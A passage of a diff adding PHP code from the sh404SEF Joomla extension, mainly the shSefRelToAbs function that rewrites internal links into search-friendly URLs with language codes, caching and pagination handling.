{ + $params = $menu->getParams($id); + $secure = $params->get('secure'); + } + switch ($secure) + { + case -1: + $secure = 'no'; + break; + case 1: + $secure = 'yes'; + break; + default: + $secure = 'ignore'; + } + + return $secure; +} + +function shGetMenuItemLanguage($id) +{ + + if (empty($id)) + { + return ''; + } + $language = ''; + $app = JFactory::getApplication(); + $menu = $app->getMenu(); + if (!empty($menu)) + { + $item = $menu->getItem($id); + if (!empty($item)) + { + $language = $item->language == '*' ? Sh404sefFactory::getPageInfo()->currentLanguageTag : $item->language; + } + } + return $language; +} + +function shSefRelToAbs($string, $shLanguageParam, &$uri, &$originalUri) +{ + + global $_SEF_SPACE, $shGETVars, $shRebuildNonSef; + + ShlSystem_Log::debug('sh404sef', 'Entering shSefRelToAbs with ' . $string . ' | Lang = ' . $shLanguageParam); + + $mainframe = JFactory::getApplication(); + + $pageInfo = Sh404sefFactory::getPageInfo(); + $sefConfig = Sh404sefFactory::getConfig(); + $app = JFactory::getApplication(); + + // return unmodified anchors + if (JString::substr($string, 0, 1) == '#') + { + // V 1.2.4.t + return $string; + } + // Quick fix for shared SSL server : if https, switch to non sef + $id = Sh404sefHelperUrl::getUrlVar($string, 'Itemid', $app->input->getInt('Itemid')); + $secure = 'yes' == shGetMenuItemSsl($id); + if ($secure && $sefConfig->shForceNonSefIfHttps) + { + ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs : Forced non sef if https'); + return shFinalizeURL($string); + } + + $database = ShlDbHelper::getDb(); + + $shOrigString = $string; + $shMosMsg = shGetMosMsg($string); // V x 01/09/2007 22:45:52 + $string = shCleanUpMosMsg($string);// V x 01/09/2007 22:45:52 + + // V x : removed shJoomfish module. Now we set $mosConfi_lang here + $shOrigLang = $pageInfo->currentLanguageTag; // save current language + $shLanguage = Sh404sefHelperUrl::getUrlLang($string); // target language in URl is always first choice + // second choice is param + if (empty($shLanguage)) + { + $shLanguage = !empty($shLanguageParam) ? $shLanguageParam : $shLanguage; + } + // third choice is to read from menu, based on Itemid + // but only for Joomla multilingual, this breaks + // Joomfish/Falang, as current menu language may not be correct + if (($pageInfo->isMultilingual === false || $pageInfo->isMultilingual == 'joomla') && empty($shLanguage) && !empty($id)) + { + $shLanguage = shGetMenuItemLanguage($id); + } + if (empty($shLanguage)) + { + $shLanguage = !empty($shLanguageParam) ? $shLanguageParam : $pageInfo->currentLanguageTag; + } + + $pageInfo->setCurrentLanguage($shLanguage); + ShlSystem_Log::debug('sh404sef', 'Language used : ' . $shLanguage); + + // V 1.2.4.t workaround for old links like option=compName instead of option=com_compName + if (strpos(strtolower($string), 'option=login') === false && strpos(strtolower($string), 'option=logout') === false + && strpos(strtolower($string), 'option=&') === false && JString::substr(strtolower($string), -7) != 'option=' + && strpos(strtolower($string), 'option=cookiecheck') === false && strpos(strtolower($string), 'option=') !== false + && strpos(strtolower($string), 'option=com_') === false) + { + $string = str_replace('option=', 'option=com_', $string); + } + // V 1.2.4.j string to be appended to URL, but not saved to DB + $shAppendString = ''; + $shRebuildNonSef = array(); + $shComponentType = ''; // V w initialize var to avoid notices + + if ($pageInfo->homeLink) + { + // now check URL against our homepage, so as to always return / if homepage + $v1 = JString::ltrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $string), '/'); + // V 1.2.4.m : remove anchor if any + $v2 = explode('#', $v1); + $v1 = $v2[0]; + $shAnchor = isset($v2[1]) ? '#' . $v2[1] : ''; + $shSepString = (JString::substr($v1, -9) == 'index.php' || strpos($v1, '?') === false) ? '?' : '&'; + $shLangString = 'lang=' . Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage); + if (!Sh404sefHelperUrl::getUrlVar($v1, 'lang')) + { + $v1 .= $shSepString . $shLangString; + } + $v1 = str_replace('&', '&', Sh404sefHelperUrl::sortUrl($v1)); + // V 1.2.4.t check also without pagination info + if (strpos($v1, 'limitstart=0') !== false) + { + // the page has limitstart=0 + $stringNoPag = shCleanUpPag($v1); // remove paging info to be sure this is not homepage + } + else + { + $stringNoPag = null; + } + if ($v1 == $pageInfo->homeLink || $v1 == $pageInfo->allLangHomeLink || $v1 == 'index.php?' . $shLangString + || $stringNoPag == $pageInfo->homeLink || $stringNoPag == $pageInfo->allLangHomeLink) + { + $shTemp = $v1 == $pageInfo->homeLink || shIsDefaultLang($shLanguage) ? '' : Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) . '/'; + + if (!empty($sefConfig->shForcedHomePage)) + { + // V 1.2.4.t + $shTmp = $shTemp . $shAnchor; + $ret = shFinalizeURL($sefConfig->shForcedHomePage . (empty($shTmp) ? '' : '/' . $shTmp)); + if (empty($uri)) // if no URI, append remaining vars directly to the string + $ret .= $shAppendString; + else + shRebuildVars($shAppendString, $uri); + $pageInfo->setCurrentLanguage($shOrigLang); + ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 1 with ' . $ret); + return $ret; + } + else + { + $shRewriteBit = shIsDefaultLang($shLanguage) ? '/' : $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode]; + $ret = shFinalizeURL($pageInfo->getDefaultFrontLiveSite() . $shRewriteBit . $shTemp . $shAnchor); + if (empty($uri)) // if no URI, append remaining vars directly to the string + $ret .= $shAppendString; + else + shRebuildVars($shAppendString, $uri); + $pageInfo->setCurrentLanguage($shOrigLang); + ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 2 with ' . $ret); + return $ret; + } + } + } + + $newstring = str_replace($pageInfo->getDefaultFrontLiveSite() . '/', '', $string); + + $letsGo = JString::substr($newstring, 0, 9) == 'index.php'; + $letsGoSsl = false; + if ($letsGo || $letsGoSsl) + { + // Replace & character variations. + $string = str_replace(array('&', '&'), array('&', '&'), $letsGo ? $newstring : $newStringSsl); + $newstring = $string; // V 1.2.4.q + $shSaveString = $string; + // warning : must add &lang=xx (only if it does not exists already), so as to be able to recognize the SefURL in the db if it's there + if (!Sh404sefHelperUrl::getUrlVar($string, 'lang')) + { + $shSepString = JString::substr($string, -9) == 'index.php' ? '?' : '&'; + $anchorTable = explode('#', $string); // V 1.2.4.m remove anchor before adding language + $string = $anchorTable[0]; + $string .= $shSepString . 'lang=' . Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) + . (!empty($anchorTable[1]) ? '#' . $anchorTable[1] : ''); // V 1.2.4.m then stitch back anchor + } + $URI = new sh_Net_URL($string); + // V 1.2.4.l need to save unsorted URL + if (count($URI->querystring) > 0) + { + // Import new vars here. + $option = null; + $task = null; + //$sid = null; V 1.2.4.s + // sort GET parameters to avoid some issues when same URL is produced with options not + // in the same order, ie index.php?option=com_virtuemart&category_id=3&Itemid=2&lang=fr + // Vs index.php?category_id=3&option=com_virtuemart&Itemid=2&lang=fr + ksort($URI->querystring); // sort URL array + $string = Sh404sefHelperUrl::sortUrl($string); + // now we are ready to extract vars + $shGETVars = $URI->querystring; + extract($URI->querystring, EXTR_REFS); + } + + if (empty($option)) + { + // V 1.2.4.r protect against empty $option : we won't know what to do + $pageInfo->setCurrentLanguage($shOrigLang); + ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 3 with ' . $shOrigString); + return $shOrigString; + } + + // get plugin associated with the extension + $extPlugin = Sh404sefFactory::getExtensionPlugin($option); + + // get component type + $shComponentType = $extPlugin->getComponentType(); + $shOption = str_replace('com_', '', $option); + + //list of extension we always skip + $alwaysSkip = array('jce', 'akeeba', 'media', 'contenthistory'); + if (in_array($shOption, $alwaysSkip)) + { + $shComponentType = Sh404sefClassBaseextplugin::TYPE_SKIP; + } + + // V 1.2.4.s : fallback to to JoomlaSEF if no extension available + // V 1.2.4.t : this is too early ; it prevents manual custom redirect to be checked agains the requested non-sef URL + ShlSystem_Log::debug('sh404sef', 'Component type = ' . $shComponentType); + // is there a named anchor attached to $string? If so, strip it off, we'll put it back later. + if ($URI->anchor) + { + $string = str_replace('#' . $URI->anchor, '', $string); + } + // V 1.2.4.m + // shumisha special homepage processing (in other than default language) + if ((shIsAnyHomePage($string)) || ($string == 'index.php') // 10/08/2007 18:13:43 + ) + { + $sefstring = ''; + $urlType = shGetSefURLFromCacheOrDB($string, $sefstring); + // still use it so we need it both ways + if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) && empty($showall) + && (!empty($limit) || (!isset($limit) && !empty($limitstart)))) + { + $urlType = shGetSefURLFromCacheOrDB(shCleanUpPag($string), $sefstring); // V 1.2.4.t check also without page info + //to be able to add pagination on custom + //redirection or multi-page homepage + if ($urlType != sh404SEF_URLTYPE_NONE && $urlType != sh404SEF_URLTYPE_404) + { + $sefstring = shAddPaginationInfo(@$limit, @$limitstart, @showall, 1, $string, $sefstring, null); + // a special case : com_content does not calculate pagination right + // for frontpage and blog, they include links shown at the bottom in the calculation of number of items + // For instance, with joomla sample data, the frontpage has only 5 articles + // but the view sets $limit to 9 !!! + if (($option == 'com_content' && isset($layout) && $layout == 'blog') + || ($option == 'com_content' && isset($view) && $view == 'featured')) + { + $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); + $string = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); + $string = Sh404sefHelperUrl::sortUrl($string); + } + + // that's a new URL, so let's add it to DB and cache + shAddSefUrlToDBAndCache($string, $sefstring, 0, $urlType); // created url must be of same type as original + } + if ($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) + { + require_once(sh404SEF_FRONT_ABS_PATH . 'sef_ext.php'); + $sef_ext = new sef_404(); + // Rewrite the URL now. + // a special case : com_content does not calculate pagination right + // for frontpage and blog, they include links shown at the bottom in the calculation of number of items + // For instance, with joomla sample data, the frontpage has only 5 articles + // but the view sets $limit to 9 !!! + if (($option == 'com_content' && isset($layout) && $layout == 'blog') + || ($option == 'com_content' && isset($view) && $view == 'featured')) + { + $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); + $string = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); + $string = Sh404sefHelperUrl::sortUrl($string); + } + $urlVars = is_array($URI->querystring) ? array_map('urldecode', $URI->querystring) : $URI->querystring; + $sefstring = $sef_ext->create($string, $urlVars, $shAppendString, $shLanguage, $shOrigString, $originalUri); // V 1.2.4.s added original string + } + } + else if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404)) + { + // not found but no $limit or $limitstart + $sefstring = Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) . '/'; + shAddSefUrlToDBAndCache($string, $sefstring, 0, sh404SEF_URLTYPE_AUTO); // create it + } + // V 1.2.4.j : added $shAppendString to pass non sef parameters. For use with parameters that won't be stored in DB + $ret = $pageInfo->getDefaultFrontLiveSite() + . (empty($sefstring) ? '' : $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode] . $sefstring); + + $ret = shFinalizeURL($ret); + if (empty($uri)) + { // if no URI, append remaining vars directly to the string + $ret .= $shAppendString; + } + else + { + shRebuildVars($shAppendString, $uri); + } + $pageInfo->setCurrentLanguage($shOrigLang); + ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 4 with ' . $ret); + return $ret; + } + + if (isset($option) && !($option == 'com_content' && @$task == 'edit') && (strtolower($option) != 'com_sh404sef')) + { + // V x 29/08/2007 23:19:48 + // check also that option = com_content, otherwise, breaks some comp + switch ($shComponentType) + { + case Sh404sefClassBaseextplugin::TYPE_SKIP: + { + $sefstring = $shSaveString; // V 1.2.4.q : restore untouched URL, except anchor which will be added later + // J! 1.6 kill all query vars + $shGETVars = array(); + $uri->setQuery(array()); + break; + } + + case Sh404sefClassBaseextplugin::TYPE_SIMPLE: + // check for custom urls + $sefstring = ''; + $urlType = shGetSefURLFromCacheOrDB($string, $sefstring); + // if no custom found, then build default url + if ($urlType != sh404SEF_URLTYPE_CUSTOM) + { + // if not found then fall back to Joomla! SEF + if (isset($URI)) + { + unset($URI); + } + $sefstring = 'component/'; + $URI = new sh_Net_URL(Sh404sefHelperUrl::sortUrl($shSaveString)); // can't remove yet, anchor is use later down + $jUri = new JUri(Sh404sefHelperUrl::sortUrl($shSaveString)); + $uriVars = $jUri->getQuery($asArray = true); + // remove lang information, if set to + // based on remove_default_prefix params of languagefilter plugin + $languageTag = empty($uriVars['lang']) ? Sh404sefFactory::getPageInfo()->currentLanguageTag + : Sh404sefHelperLanguage::getLangTagFromUrlCode($uriVars['lang']); + $shouldInsertLanguageCode = shInsertIsoCodeInUrl($shOption, $languageTag); + if (isset($uriVars['lang'])) + { + unset($uriVars['lang']); + } + if (count($uriVars) > 0) + { + foreach ($uriVars as $key => $value) + { + if (is_array($value)) + { + foreach ($value as $k => $v) + { + // fix for arrays, thanks doorknob + $sefstring .= $key . '[' . $k . '],' . $v . '/'; + } + } + else + { + $sefstring .= $key . ',' . $value . '/'; + } + } + $sefstring = str_replace('option,', '', $sefstring); + } + if ($shouldInsertLanguageCode) + { + $sefstring = Sh404sefHelperLanguage::getUrlCodeFromTag($languageTag) . '/' . $sefstring; + } + } + break; + + default: + { + $sefstring = ''; + // base case: + $urlType = shGetSefURLFromCacheOrDB($string, $sefstring); + + // first special case. User may have customized paginated urls + // this will be picked up by the line above, except if we're talking about + // a category or section blog layout, where Joomla does not uses the correct + // value for limit + if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) && empty($showall) + && (!empty($limit) || (!isset($limit) && !empty($limitstart)))) + { + if (($option == 'com_content' && isset($layout) && $layout == 'blog') + || ($option == 'com_content' && isset($view) && $view == 'featured')) + { + $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); + $tmpString = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); + $tmpString = Sh404sefHelperUrl::sortUrl($tmpString); + $urlType = shGetSefURLFromCacheOrDB($tmpString, $sefstring); + if ($urlType != sh404SEF_URLTYPE_NONE && $urlType != sh404SEF_URLTYPE_404) + { + // we found a match with pagination info! + $string = $tmpString; + } + } + } + + // now let's try again without any pagination at all + /* + if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) && empty( $showall) && (!empty($limit) || (!isset($limit) && !empty($limitstart)))) { + $urlType = shGetSefURLFromCacheOrDB(shCleanUpPag($string), $sefstring); // search without pagination info + if ($urlType != sh404SEF_URLTYPE_NONE && $urlType != sh404SEF_URLTYPE_404) { + $sefstring = shAddPaginationInfo( @$limit, @$limitstart, @showall, 1, $string, $sefstring, null); + // a special case : com_content does not calculate pagination right + // for frontpage and blog, they include links shown at the bottom in the calculation of number of items + // For instance, with joomla sample data, the frontpage has only 5 articles + // but the view sets $limit to 9 !!! + if (($option == 'com_content' && isset($layout) && $layout == 'blog') + || ($option == 'com_content' && isset( $view) && $view == 'featured' )) { + $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); + $string = Sh404sefHelperUrl::setUrlVar( $string, 'limit', $listLimit); + $string = Sh404sefHelperUrl::sortUrl($string); + } + + // that's a new URL, so let's add it to DB and cache + ShlSystem_Log::debug( 'sh404sef', 'Created url based on non paginated base url:' . $string); + shAddSefUrlToDBAndCache( $string, $sefstring, 0, $urlType); + } + } + */ + if ($urlType == sh404SEF_URLTYPE_NONE) + { + // If component has its own sef_ext plug-in included. + $shDoNotOverride = in_array($shOption, $sefConfig->shDoNotOverrideOwnSef); + if (shFileExists(sh404SEF_ABS_PATH . 'components/' . $option . '/sef_ext.php') + && ($shDoNotOverride // and param said do not override + || (!$shDoNotOverride // or param said override, but we don't have a plugin either in sh404SEF dir or component sef_ext dir + && (!shFileExists(sh404SEF_ABS_PATH . 'components/com_sh404sef/sef_ext/' . $option . '.php') + && !shFileExists(sh404SEF_ABS_PATH . 'components/' . $option . '/sef_ext/' . $option . '.php'))))) + { + // Load the plug-in file. V 1.2.4.s changed require_once to include + include_once(sh404SEF_ABS_PATH . 'components/' . $option . '/sef_ext.php'); + $_SEF_SPACE = $sefConfig->replacement; + $comp_name = str_replace('com_', '', $option); + $className = 'sef_' . $comp_name; + $sef_ext = new $className; + // V x : added default string in params + if (empty($sefConfig->defaultComponentStringList[$comp_name])) + { + $title[] = getMenuTitle($option, null, isset($Itemid) ? @$Itemid : null, null, $shLanguage); + } + // V 1.2.4.x + else + { + $title[] = $sefConfig->defaultComponentStringList[$comp_name]; + } + // V 1.2.4.r : clean up URL BEFORE sending it to sef_ext files, to have control on what they do + // remove lang information, we'll put it back ourselves later + //$shString = preg_replace( '/(&|\?)lang=[a-zA-Z]{2,3}/iU' ,'', $string); + // V 1.2.4.t use original non-sef string. Some sef_ext files relies on order of params, which may + // have been changed by sh404SEF + $shString = preg_replace('/(&|\?)lang=[a-zA-Z]{2,3}/iu', '', $shSaveString); + $finalstrip = explode("|", $sefConfig->stripthese); + $shString = str_replace('&', '&', $shString); + ShlSystem_Log::debug('sh404sef', 'Sending to own sef_ext.php plugin : ' . $shString); + $sefstring = $sef_ext->create($shString); + ShlSystem_Log::debug('sh404sef', 'Created by sef_ext.php plugin : ' . $sefstring); + $sefstring = str_replace("%10", "%2F", $sefstring); + $sefstring = str_replace("%11", $sefConfig->replacement, $sefstring); + $sefstring = rawurldecode($sefstring); + if ($sefstring == $string) + { + if (!empty($shMosMsg)) // V x 01/09/2007 22:48:01 + $string .= '?' . $shMosMsg; + $ret = shFinalizeURL($string); + $pageInfo->currentLanguageTag = $shOrigLang; + ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 5 with ' . $ret); + return $ret; + } + else + { + // V 1.2.4.p : sef_ext extensions for opensef/SefAdvance do not always replace ' + $sefstring = str_replace('\'', $sefConfig->replacement, $sefstring); + // some ext. seem to html_special_chars URL ? + $sefstring = str_replace(''', $sefConfig->replacement, $sefstring); // V w 27/08/2007 13:23:56 + $sefstring = str_replace(' ', $_SEF_SPACE, $sefstring); + $sefstring = str_replace(' ', '', + (shInsertIsoCodeInUrl($option, $shLanguage) ? // V 1.2.4.q + Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) . '/' : '') . titleToLocation($title[0]) . '/' + . $sefstring . (($sefstring != '') ? $sefConfig->suffix : '')); + if (!empty($sefConfig->suffix)) + $sefstring = str_replace('/' . $sefConfig->suffix, $sefConfig->suffix, $sefstring); + + //$finalstrip = explode("|", $sefConfig->stripthese); + $sefstring = str_replace($finalstrip, $sefConfig->replacement, $sefstring); + $sefstring = str_replace($sefConfig->replacement . $sefConfig->replacement . $sefConfig->replacement, + $sefConfig->replacement, $sefstring); + $sefstring = str_replace($sefConfig->replacement . $sefConfig->replacement, $sefConfig->replacement, $sefstring); + $suffixthere = 0; + if (!empty($sefConfig->suffix) && strpos($sefstring, $sefConfig->suffix) !== false) // V 1.2.4.s + $suffixthere = strlen($sefConfig->suffix); + $takethese = str_replace("|", "", $sefConfig->friendlytrim); + $sefstring = JString::trim(JString::substr($sefstring, 0, strlen($sefstring) - $suffixthere), $takethese); + $sefstring .= $suffixthere == 0 ? '' : $sefConfig->suffix; // version u 26/08/2007 17:27:16 + // V 1.2.4.m store it in DB so as to be able to use sef_ext plugins really ! + $string = str_replace('&', '&', $string); + // V 1.2.4.r without mod_rewrite + $shSefString = shAdjustToRewriteMode($sefstring); + // V 1.2.4.p check for various URL for same content + $dburl = ''; // V 1.2.4.t prevent notice error + $urlType = sh404SEF_URLTYPE_NONE; + if ($sefConfig->shUseURLCache) + { + $urlType = Sh404sefHelperCache::getNonSefUrlFromCache($shSefString, $dburl); + } + $newMaxRank = 0; // V 1.2.4.s + $shDuplicate = false; + if ($sefConfig->shRecordDuplicates || $urlType == sh404SEF_URLTYPE_NONE) + { + try + { + $sql = "SELECT newurl, rank, dateadd FROM #__sh404sef_urls WHERE oldurl = " + . $database->Quote($shSefString) . " ORDER BY rank ASC"; + $database->setQuery($sql); + $dbUrlList = $database->loadObjectList(); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $dbUrlList = array(); + } + if (count($dbUrlList) > 0) + { + $dburl = $dbUrlList[0]->newurl; + $newMaxRank = $dbUrlList[count($dbUrlList) - 1]->rank + 1; + $urlType = $dbUrlList[0]->dateadd == '0000-00-00' ? sh404SEF_URLTYPE_AUTO : sh404SEF_URLTYPE_CUSTOM; + } + } + if ($urlType != sh404SEF_URLTYPE_NONE && ($dburl != $string)) + $shDuplicate = true; + $urlType = $urlType == sh404SEF_URLTYPE_NONE ? sh404SEF_URLTYPE_AUTO : $urlType; + ShlSystem_Log::debug('sh404sef', + 'Adding from sef_ext to DB : ' . $shSefString . ' | rank = ' . ($shDuplicate ? $newMaxRank : 0)); + shAddSefUrlToDBAndCache($string, $shSefString, ($shDuplicate ? $newMaxRank : 0), $urlType); + } + } + // Component has no own sef extension. + else + { + $string = JString::trim($string, "&?"); + + // V 1.2.4.q a trial in better handling homepage articles + // disabled in J! 1.6. Becomes too complex with multi-language + // TODO: remove guessItemidOnHomepage setting + if (false && shIsCurrentPageHome() && ($option == 'com_content') // com_content component on homepage + && (isset($task)) && ($task == 'view') && $sefConfig->guessItemidOnHomepage) + { + $string = preg_replace('/(&|\?)Itemid=[^&]*/iu', '', $string); // we remove Itemid, as com_content plugin + $Itemid = null; // will hopefully do a better job at finding the right one + unset($URI->querystring['Itemid']); + unset($shGETVars['Itemid']); + } + + require_once(sh404SEF_FRONT_ABS_PATH . 'sef_ext.php'); + $sef_ext = new sef_404(); + // Rewrite the URL now. // V 1.2.4.s added original string + // a special case : com_content does not calculate pagination right + // for frontpage and blog, they include links shown at the bottom in the calculation of number of items + // For instance, with joomla sample data, the frontpage has only 5 articles + // but the view sets $limit to 9 !!! + if (($option == 'com_content' && isset($layout) && $layout == 'blog') + || ($option == 'com_content' && isset($view) && $view == 'featured')) + { + $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); + $string = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); + $string = Sh404sefHelperUrl::sortUrl($string); + //$URI->addQueryString( 'limit', $listLimit); + } + $sefstring = $sef_ext->create($string, $URI->querystring, $shAppendString, $shLanguage, $shOrigString, $originalUri); + ShlSystem_Log::debug('sh404sef', 'Created sef url from default plugin: ' . $sefstring); + } + } + } + } // end of cache check shumisha + if (isset($sef_ext)) + { + unset($sef_ext); + } + + // if string has not been modified, then we have decided for a non-sef + if ($string == $sefstring) + { + // J! 1.6 kill all query vars + $shGETVars = array(); + $uri->setQuery(array()); + } + else + { + // include rewrite mode bit + $shRewriteBit = $shComponentType == Sh404sefClassBaseextplugin::TYPE_SKIP ? '/' + : $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode]; + if (strpos($sefstring, 'index.php') === 0) + { + $shRewriteBit = '/'; + } + // V 1.2.4.t bug #119 + $string = $pageInfo->getDefaultFrontLiveSite() . $shRewriteBit . JString::ltrim($sefstring, '/') + . (($URI->anchor) ? "#" . $URI->anchor : ''); + } + } + else + { // V x 03/09/2007 13:47:37 editing content + $shComponentType = Sh404sefClassBaseextplugin::TYPE_SKIP; // will prevent turning & into & + ShlSystem_Log::debug('sh404sef', 'shSefrelfToAbs: option not set, skipping'); + } + $ret = $string; + // $ret = str_replace('itemid', 'Itemid', $ret); // V 1.2.4.t bug #125 + ShlSystem_Log::debug('sh404sef', '(1) Setting shSefRelToAbs return string as: ' . $ret); + } + if (!isset($ret)) + { + $ret = $string; + ShlSystem_Log::debug('sh404sef', '(2) Setting shSefRelToAbs return string as: ' . $ret); + } + $ret = ($shComponentType == Sh404sefClassBaseextplugin::TYPE_DEFAULT) ? shFinalizeURL($ret) : $ret; // V w 27/08/2007 13:21:28 + ShlSystem_Log::debug('sh404sef', '(3) shSefRelToAbs return string after shFinalize: ' . $ret); + if (empty($uri) || $shComponentType == Sh404sefClassBaseextplugin::TYPE_SKIP) + { + // we don't have a uri : we must be doing a redirect from non-sef to sef or similar + $ret .= $shAppendString; // append directly to url + ShlSystem_Log::debug('sh404sef', '(4) shSefRelToAbs return string after appendString: ' . $ret); + } + else + { + if (empty($sefstring) || (!empty($sefstring) && strpos($sefstring, 'index.php') !== 0)) + { + shRebuildVars($shAppendString, $uri); // instead, add to uri. Joomla will put everything together. Only do this if we have a sef url, and not if we have a non-sef + ShlSystem_Log::debug('sh404sef', '(5) shSefRelToAbs no sefstring, adding rebuild vars : ' . $shAppendString); + } + } + $pageInfo->setCurrentLanguage($shOrigLang); + ShlSystem_Log::debug('sh404sef', 'shSefRelToAbs: finally returning: ' . $ret); + return $ret; +} + +// V 1.2.4.t returns sef url with added pagination information +function shAddPaginationInfo($limit, $limitstart, $showall, $iteration, $url, $location, $shSeparator = null, $defaultListLimitValue = null, + $suppressPagination = false) +{ + $mainframe = JFactory::getApplication(); + + $pageInfo = Sh404sefFactory::getPageInfo(); // get page details gathered by system plugin + $sefConfig = Sh404sefFactory::getConfig(); + $database = ShlDbHelper::getDb(); + + //echo 'Incoming pagination : $listLimit : ' . $listLimit . ' | $defaultListLimit : ' . $defaultListLimit . "\n"; + + // clean suffix and index file before starting to add things to the url + // clean suffix + if (strpos($url, 'option=com_content') !== false && strpos($url, 'format=pdf') !== false) + { + $shSuffix = '.pdf'; + } + else + { + $shSuffix = $sefConfig->suffix; + } + $suffixLength = JString::strLen($shSuffix); + if (!empty($shSuffix) && ($shSuffix != '/') && JString::substr($location, -$suffixLength) == $shSuffix) + { + $location = JString::substr($location, 0, JString::strlen($location) - $suffixLength); + } + + // clean index file + if ($sefConfig->addFile && (empty($shSuffix) || JString::subStr($location, -$suffixLength) != $shSuffix)) + { + $indexFileLength = JString::strlen($sefConfig->addFile); + if (($sefConfig->addFile != '/') && JString::substr($location, -$indexFileLength) == $sefConfig->addFile) + { + $location = JString::substr($location, 0, JString::strlen($location) - $indexFileLength); + } + } + + // get a default limit value, for urls where it's missing + $listLimit = shGetDefaultDisplayNumFromURL($url, $includeBlogLinks = true); + $defaultListLimit = is_null($defaultListLimitValue) ? shGetDefaultDisplayNumFromConfig($url, $includeBlogLinks = false) : $defaultListLimitValue; + + // do we have a trailing slash ? + if (empty($shSeparator)) + { + $shSeparator = (JString::substr($location, -1) == '/') ? '' : '/'; + } + + if (!$suppressPagination) + { + // start computing pagination + if (!empty($limit) && is_numeric($limit)) + { + $pagenum = intval($limitstart / $limit); + $pagenum++; + } + else if (!isset($limit) && !empty($limitstart)) + { + // only limitstart + if (strpos($url, 'option=com_content') !== false && strpos($url, 'view=article') !== false) + { + $pagenum = intval($limitstart + 1); // multipage article + } + else + { + $pagenum = intval($limitstart / $listLimit) + 1; // blogs, tables, ... + } + } + else + { + $pagenum = $iteration; + } + // Make sure we do not end in infite loop here. + if ($pagenum < $iteration) + $pagenum = $iteration; + // shumisha added to handle table-category and table-section which may have variable number of items per page + // There still will be a problem with filter, which may reduce the total number of items. Thus the item we are looking for + if ($sefConfig->alwaysAppendItemsPerPage || (strpos($url, 'option=com_virtuemart') && $sefConfig->shVmUsingItemsPerPage)) + { + $shMultPageLength = $sefConfig->pagerep . (empty($limit) ? $listLimit : $limit); + } + else + $shMultPageLength = ''; + // shumisha : modified to add # of items per page to URL, for table-category or section-category + + if (!empty($sefConfig->pageTexts[$pageInfo->currentLanguageTag]) + && (false !== strpos($sefConfig->pageTexts[$pageInfo->currentLanguageTag], '%s'))) + { + $page = str_replace('%s', $pagenum, $sefConfig->pageTexts[$pageInfo->currentLanguageTag]) . $shMultPageLength; + } + else + { + $page = $sefConfig->pagerep . $pagenum . $shMultPageLength; + } + + // V 1.2.4.t special processing to replace page number by headings + $shPageNumberWasReplaced = false; + if (strpos($url, 'option=com_content') !== false && strpos($url, 'view=article') !== false && !empty($limitstart)) + { + // this is multipage article - limitstart instead of limit in J1.5 + if ($sefConfig->shMultipagesTitle) + { + parse_str($url, $shParams); + if (!empty($shParams['id'])) + { + $shPageTitle = ''; + try + { + $contentElement = ShlDbHelper::selectObject('#__content', array('id', 'fulltext', 'introtext'), + array('id' => $shParams['id'])); + } + catch (Exception $e) + { + JError::raise(E_ERROR, 500, $e->getMessage()); + } + $contentText = $contentElement->introtext . $contentElement->fulltext; + if (!empty($contentElement) && (strpos($contentText, 'class="system-pagebreak') !== false)) + { + // search for mospagebreak tags + // copied over from pagebreak plugin + // expression to search for + $regex = '#]*)class=(\"|\')system-pagebreak(\"|\')([^>]*)\/>#iU'; + // find all instances of mambot and put in $matches + $shMatches = array(); + preg_match_all($regex, $contentText, $shMatches, PREG_SET_ORDER); + // adds heading or title to Title + if (empty($limitstart)) + { + // if first page use heading of first mospagebreak + /* if ( $shMatches[0][2] ) { + parse_str( html_entity_decode( $shMatches[0][2] ), $args ); + if ( @$args['heading'] ) { + $shPageTitle = stripslashes( $args['heading'] ); + } + }*/ + } + else + { // for other pages use title of mospagebreak + if ($limitstart > 0 && $shMatches[$limitstart - 1][1]) + { + $args = JUtility::parseAttributes($shMatches[$limitstart - 1][0]); + if (@$args['title']) + { + $shPageTitle = $args['title']; + } + else if (@$args['alt']) + { + $shPageTitle = $args['alt']; + } + else + { // there is a page break, but no title. Use a page number + $shPageTitle = str_replace('%s', $limitstart + 1, $sefConfig->pageTexts[$pageInfo->currentLanguageTag]); + } + } + } + } + if (!empty($shPageTitle)) + { + // found a heading, we should use that as a Title + $location .= $shSeparator . titleToLocation($shPageTitle); + } + $shPageNumberWasReplaced = true; // always set the flag, otherwise we'll a Page-1 added + } + } + else + { + // mutiple pages article, but we don't want to use smart title. + // directly use limitstart + $page = str_replace('%s', $limitstart + 1, $sefConfig->pageTexts[$pageInfo->currentLanguageTag]); + } + } + // maybe this is a multipage with "showall=1" + if (strpos($url, 'option=com_content') !== false && strpos($url, 'view=article') !== false && strpos($url, 'showall=1') !== 